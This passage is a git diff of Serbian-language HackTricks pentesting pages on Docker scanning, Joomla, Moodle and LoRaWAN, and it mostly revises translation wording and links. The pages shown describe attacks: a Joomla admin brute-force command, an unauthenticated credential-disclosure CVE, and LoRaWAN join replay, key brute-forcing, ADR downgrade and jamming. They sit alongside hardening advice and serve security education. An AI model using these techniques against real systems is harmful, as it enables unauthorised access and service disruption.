6060-6061:6060-6061 -d clair -config="/config/config.yaml"` - `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` -#### Osiguranje Dockerfile-ova +#### Osiguravanje Dockerfile-ova -- Možete koristiti alat [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) da **pregledate vaš Dockerfile** i pronađete sve vrste pogrešnih konfiguracija. Svaka pogrešna konfiguracija će dobiti ID, možete pronaći ovde [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) kako da ispravite svaku od njih. +- Možete koristiti alat [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) da **pregledate vaš Dockerfile** i pronađete sve vrste pogrešnih konfiguracija. Svaka pogrešna konfiguracija će dobiti ID, možete ovde pronaći [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) kako da ispravite svaku od njih. - `dockerfilelinter -f Dockerfile` ![](<../images/image (176).png>) @@ -259,7 +259,7 @@ docker cp :/etc/ ![](<../images/image (501).png>) -#### Beleženje sumnjive aktivnosti +#### Zapisivanje sumnjive aktivnosti - Možete koristiti alat [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) da detektujete **sumnjivo ponašanje u pokrenutim kontejnerima**. - Obratite pažnju u sledećem delu kako **Falco kompajlira kernel modul i umetne ga**. Nakon toga, učitava pravila i **počinje da beleži sumnjive aktivnosti**. U ovom slučaju je detektovao 2 privilegovana kontejnera koja su pokrenuta, jedan od njih sa osetljivim montiranjem, i nakon nekoliko sekundi je detektovao kako je shell otvoren unutar jednog od kontejnera. diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index 980770ebf..eb15c2b26 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator 1- What is this? * This is a Joomla! installation/upgrade package to version 3.x * Joomla! Official site: https://www.joomla.org -* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history +* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history) * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging ``` ### Verzija @@ -73,7 +73,7 @@ droopescan scan joomla --url http://joomla-site.local/ ``` U[ **80,443 - Pentesting Web Methodology je sekcija o CMS skenerima**](#cms-scanners) koji mogu skenirati Joomla. -### API Neautentifikovana Otkrića Informacija: +### API Neautentifikovana Otkrivanje Informacija: Verzije od 4.0.0 do 4.2.7 su podložne neautentifikovanom otkrivanju informacija (CVE-2023-23752) koje će izbaciti kredencijale i druge informacije. @@ -84,7 +84,7 @@ Verzije od 4.0.0 do 4.2.7 su podložne neautentifikovanom otkrivanju informacija ### Brute-Force -Možete koristiti ovu [skriptu](https://github.com/ajnik/joomla-bruteforce) da pokušate brute force prijavu. +Možete koristiti ovu [skriptu](https://github.com/ajnik/joomla-bruteforce) da pokušate da brute force-ujete prijavu. ```shell-session sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin @@ -106,7 +106,7 @@ Ako ste uspeli da dobijete **admin kredencijale**, možete **RCE unutar njega** - [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla skripta za eksploataciju koja **povećava XSS na RCE ili druge kritične ranjivosti**. Za više informacija pogledajte [**ovaj post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Joomla verzije 5.X.X, 4.X.X i 3.X.X, i omogućava:** - _**Povećanje privilegija:**_ Kreira korisnika u Joomli. - _**(RCE) Uređivanje ugrađenih tema:**_ Uređuje ugrađene teme u Joomli. -- _**(Prilagođeni) Prilagođene eksploatacije:**_ Prilagođene eksploatacije za dodatke trećih strana za Joomlu. +- _**(Custom) Prilagođene eksploatacije:**_ Prilagođene eksploatacije za dodatke trećih strana za Joomlu. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index c19bc0293..83369a0dc 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Automatske skeniranja +## Automatske Skeniranja ### droopescan ```bash @@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php 3.10.0-beta [+] Possible interesting urls found: -Static readme file. - http://moodle.schooled.htb/moodle/README.txt -Admin panel - http://moodle.schooled.htb/moodle/login/ +Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt) +Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/) [+] Scan finished (0:00:05.643539 elapsed) ``` diff --git a/src/todo/radio-hacking/low-power-wide-area-network.md b/src/todo/radio-hacking/low-power-wide-area-network.md index 9cc3908c2..68e7ec99c 100644 --- a/src/todo/radio-hacking/low-power-wide-area-network.md +++ b/src/todo/radio-hacking/low-power-wide-area-network.md @@ -4,7 +4,7 @@ ## Introduction -**Low-Power Wide Area Network** (LPWAN) je grupa bežičnih, niskopotrošnih, širokopojasnih mrežnih tehnologija dizajniranih za **dugometražne komunikacije** sa niskom brzinom prenosa podataka. +**Low-Power Wide Area Network** (LPWAN) je grupa bežičnih, niskopotrošnih, širokopojasnih mrežnih tehnologija dizajniranih za **dugometražne komunikacije** pri niskoj brzini prenosa podataka. Mogu dostići više od **šest milja** i njihove **baterije** mogu trajati do **20 godina**. Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a njegova otvorena MAC-sloj specifikacija je **LoRaWAN**. @@ -14,7 +14,7 @@ Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a nj ## LPWAN, LoRa, i LoRaWAN * LoRa – Chirp Spread Spectrum (CSS) fizički sloj razvijen od strane Semtech (vlasnički, ali dokumentovan). -* LoRaWAN – Otvoreni MAC/mrežni sloj koji održava LoRa-Alliance. Verzije 1.0.x i 1.1 su uobičajene na terenu. +* LoRaWAN – Otvoreni MAC/mrežni sloj koji održava LoRa-Alliance. Verzije 1.0.x i 1.1 su uobičajene u praksi. * Tipična arhitektura: *kraj uređaja → prolaznik (packet-forwarder) → mrežni server → aplikacioni server*. > **Model bezbednosti** se oslanja na dva AES-128 korenska ključa (AppKey/NwkKey) koja izvode sesijske ključeve tokom *join* procedure (OTAA) ili su hard-kodirani (ABP). Ako bilo koji ključ procuri, napadač dobija potpunu mogućnost čitanja/pisanja nad odgovarajućim saobraćajem. @@ -26,7 +26,7 @@ Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a nj | Sloj | Slabost | Praktični uticaj | |-------|----------|------------------| | PHY | Reaktivno / selektivno ometanje | 100 % gubitak paketa demonstriran sa jednim SDR i <1 W izlazom | -| MAC | Join-Accept & ponavljanje podataka (ponovna upotreba nonce, ABP counter rollover) | Lažno predstavljanje uređaja, injekcija poruka, DoS | +| MAC | Join-Accept & ponavljanje podataka (ponovna upotreba nonce, ABP preklapanje brojača) | Lažno predstavljanje uređaja, injekcija poruka, DoS | | Mrežni server | Nesiguran packet-forwarder, slabi MQTT/UDP filteri, zastarela firmware prolaznika | RCE na prolaznicima → pivot u OT/IT mrežu | | Aplikacija | Hard-kodirani ili predvidljivi AppKeys | Brute-force/dekripcija saobraćaja, lažno predstavljanje senzora | @@ -35,8 +35,8 @@ Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a nj ## Nedavne ranjivosti (2023-2025) * **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* prihvatao TCP pakete koji su zaobišli pravila stanja vatrozida na Kerlink prolaznicima, omogućavajući izlaganje udaljenog upravljačkog interfejsa. Ispravljeno u 4.0.11 / 4.2.1. -* **Dragino LG01/LG308 serija** – Više CVE-a iz 2022-2024 (npr. 2022-45227 prolaz kroz direktorijum, 2022-45228 CSRF) još uvek primećeni bez zakrpa 2025; omogućava neautentifikovano preuzimanje firmware-a ili prepisivanje konfiguracije na hiljadama javnih prolaznika. -* Semtech *packet-forwarder UDP* prelivanje (neobjavljeno obaveštenje, zakrpljeno 2023-10): kreirani uplink veći od 255 B izazvao stack-smash ‑> RCE na SX130x referentnim prolaznicima (otkriveno na Black Hat EU 2023 “LoRa Exploitation Reloaded”). +* **Dragino LG01/LG308 serija** – Više CVE-a iz 2022-2024 (npr. 2022-45227 pretraga direktorijuma, 2022-45228 CSRF) još uvek primećeni bez zakrpa 2025; omogućava neautentifikovano preuzimanje firmware-a ili prepisivanje konfiguracije na hiljadama javnih prolaznika. +* Semtech *packet-forwarder UDP* preliv (neobjavljeno obaveštenje, zakrpljeno 2023-10): kreirani uplink veći od 255 B izazvao stack-smash ‑> RCE na SX130x referentnim prolaznicima (otkriveno na Black Hat EU 2023 “LoRa Exploitation Reloaded”). --- @@ -55,11 +55,11 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt 1. Zabeležite legitimni **JoinRequest**. 2. Odmah ga ponovo prenesite (ili povećajte RSSI) pre nego što originalni uređaj ponovo prenese. -3. Mrežni server dodeljuje novu DevAddr i sesijske ključeve dok ciljni uređaj nastavlja sa starom sesijom → napadač poseduje praznu sesiju i može da ubaci lažne uplinke. +3. Mrežni server dodeljuje novu DevAddr i sesijske ključeve dok ciljni uređaj nastavlja sa starom sesijom → napadač poseduje praznu sesiju i može da ubaci lažne uplink-ove. ### 3. Smanjenje adaptivnog protoka podataka (ADR) -Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus prolaza (usluga uskraćivanja) dok održavate mali uticaj na bateriju napadača (samo šaljite MAC komande na mrežnom nivou). +Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus gateway-a (usluga uskraćivanja) dok održavate mali uticaj na bateriju napadača (samo šaljite MAC komande na mrežnom nivou). ### 4. Reaktivno ometanje @@ -72,9 +72,9 @@ Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus prolaz | Alat | Svrha | Napomene | |------|---------|-------| | **LoRaWAN Auditing Framework (LAF)** | Kreiranje/parsiranje/napad na LoRaWAN okvire, analitičari sa DB podrškom, brute-forcer | Docker slika, podržava Semtech UDP ulaz | -| **LoRaPWN** | Trend Micro Python alat za brute OTAA, generisanje downlink-ova, dešifrovanje tereta | Demo objavljen 2023, SDR-agnostičan | +| **LoRaPWN** | Trend Micro Python alat za brute OTAA, generisanje downlink-ova, dešifrovanje payload-ova | Demo objavljen 2023, SDR-agnostičan | | **LoRAttack** | Multi-kanalni sniffer + ponovna reprodukcija sa USRP; izvozi PCAP/LoRaTap | Dobra integracija sa Wireshark-om | -| **gr-lora / gr-lorawan** | GNU Radio OOT blokovi za osnovni TX/RX | Osnova za prilagođene napade | +| **gr-lora / gr-lorawan** | GNU Radio OOT blokovi za bazni prenos/primanje | Osnova za prilagođene napade | --- @@ -85,11 +85,11 @@ Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus prolaz 3. Čuvajte brojač okvira u nevolatilnoj memoriji (**ABP**) ili migrirajte na OTAA. 4. Implementirajte **secure-element** (ATECC608A/SX1262-TRX-SE) da zaštitite korenske ključeve od ekstrakcije firmvera. 5. Onemogućite udaljene UDP portove za prosleđivanje paketa (1700/1701) ili ih ograničite sa WireGuard/VPN. -6. Održavajte prolaze ažuriranim; Kerlink/Dragino pružaju slike sa zakrpama iz 2024. -7. Implementirajte **otkrivanje anomalija u saobraćaju** (npr. LAF analitičar) – označite resetovanja brojača, duplikate pridruživanja, iznenadne promene ADR-a. +6. Održavajte gateway-e ažuriranim; Kerlink/Dragino pružaju slike sa zakrpama iz 2024. +7. Implementirajte **otkrivanje anomalija u saobraćaju** (npr. LAF analitičar) – označite resetovanje brojača, duple join-ove, nagle promene ADR-a. ## Reference -* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf -* Trend Micro LoRaPWN pregled – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a +* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf) +* Trend Micro LoRaPWN pregled – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a) {{#include ../../banners/hacktricks-training.md}}